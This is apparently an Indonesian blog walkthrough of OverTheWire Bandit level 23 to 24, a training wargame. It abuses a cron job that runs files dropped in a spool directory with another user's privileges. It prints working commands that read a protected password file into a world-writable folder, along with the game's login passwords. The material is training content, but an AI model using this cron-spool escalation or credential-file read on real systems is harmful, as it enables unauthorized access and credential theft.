Langsung ke konten utama

Unggulan

Mendeteksi Gambar Duplikat dengan Python: Panduan Praktis

Panduan OverTheWire Bandit Level 23 → 24

 

Panduan OverTheWire Bandit Level 23 → 24 

Login

Login menggunakan perintah berikut:

ssh bandit23@bandit.labs.overthewire.org -p 2220

Kata Sandi: jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n


Tugas

Sebuah program dijalankan otomatis pada interval yang tetap melalui cron, penjadwal tugas berbasis waktu. Cari di /etc/cron.d/ untuk melihat konfigurasi dan perintah apa yang dijalankan.


Teori Singkat

Tugas ini mirip dengan tugas-tugas sebelumnya, di mana kita bekerja dengan cronjobs dan skrip bash. Perbedaannya terletak pada pengoperasian file dalam direktori /var/spool/ yang khusus digunakan oleh sistem untuk penjadwalan tugas.


Solusi

Langkah-langkahnya sangat mirip dengan level sebelumnya, tetapi kali ini kita akan bekerja dengan file di folder /var/spool/$myname.

  1. Periksa Cronjobs Mulailah dengan memeriksa isi folder /etc/cron.d untuk mencari file cronjob yang relevan:

    ls -la /etc/cron.d
    

    Anda akan melihat file cronjob_bandit24 yang menjalankan skrip /usr/bin/cronjob_bandit24.sh. Baca isi file ini dengan perintah:

    cat /etc/cron.d/cronjob_bandit24
    

    File ini berisi:

    @reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
    * * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
    

    Skrip ini dijalankan setiap menit dan juga saat reboot. Output diarahkan ke /dev/null, artinya output tidak akan ditampilkan.

  2. Periksa Isi Skrip Cronjob Lihat isi skrip /usr/bin/cronjob_bandit24.sh:

    cat /usr/bin/cronjob_bandit24.sh
    

    Skrip ini berisi:

    #!/bin/bash
    
    myname=$(whoami)
    
    cd /var/spool/$myname
    echo "Executing and deleting all scripts in /var/spool/$myname:"
    for i in * .*;
    do
        if [ "$i" != "." -a "$i" != ".." ];
        then
            echo "Handling $i"
            owner="$(stat --format "%U" ./$i)"
            if [ "${owner}" = "bandit23" ]; then
                timeout -s 9 60 ./$i
            fi
            rm -f ./$i
        fi
    done
    

    Penjelasan Skrip:

    • Skrip ini dijalankan oleh pengguna bandit24, dan variabel myname diset menjadi bandit24.
    • Skrip berpindah ke folder /var/spool/bandit24 dan mengeksekusi setiap file di folder itu yang dimiliki oleh bandit23.
    • Setiap file yang dieksekusi akan diberi timeout 60 detik dan kemudian dihapus setelah dijalankan.
  3. Membuat Skrip untuk Mendapatkan Kata Sandi Agar skrip ini dapat mengeksekusi file yang kita buat, pertama kita buat skrip di folder /tmp untuk menghindari penghapusan sebelum waktunya:

    mktemp -d
    cd /tmp/tmp.ljEyl6kv1M
    nano bandit24_pass.sh
    

    Di dalam bandit24_pass.sh, masukkan kode berikut:

    #!/bin/bash
    cat /etc/bandit_pass/bandit24 > /tmp/tmp.ljEyl6kv1M/password
    
  4. Atur Izin File dan Pindahkan Skrip Set izin yang sesuai untuk skrip dan folder agar dapat dieksekusi:

    chmod +rx bandit24_pass.sh
    chmod 777 /tmp/tmp.ljEyl6kv1M
    touch password
    chmod +rwx password
    

    Salin skrip ke folder yang benar:

    cp bandit24_pass.sh /var/spool/bandit24/bandit24_pass.sh
    
  5. Tunggu dan Periksa Hasil Tunggu satu menit dan periksa file password untuk mendapatkan kata sandi level berikutnya:

    cat password
    

    Outputnya adalah kata sandi untuk level 24:

    UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
    


Komentar

Postingan Populer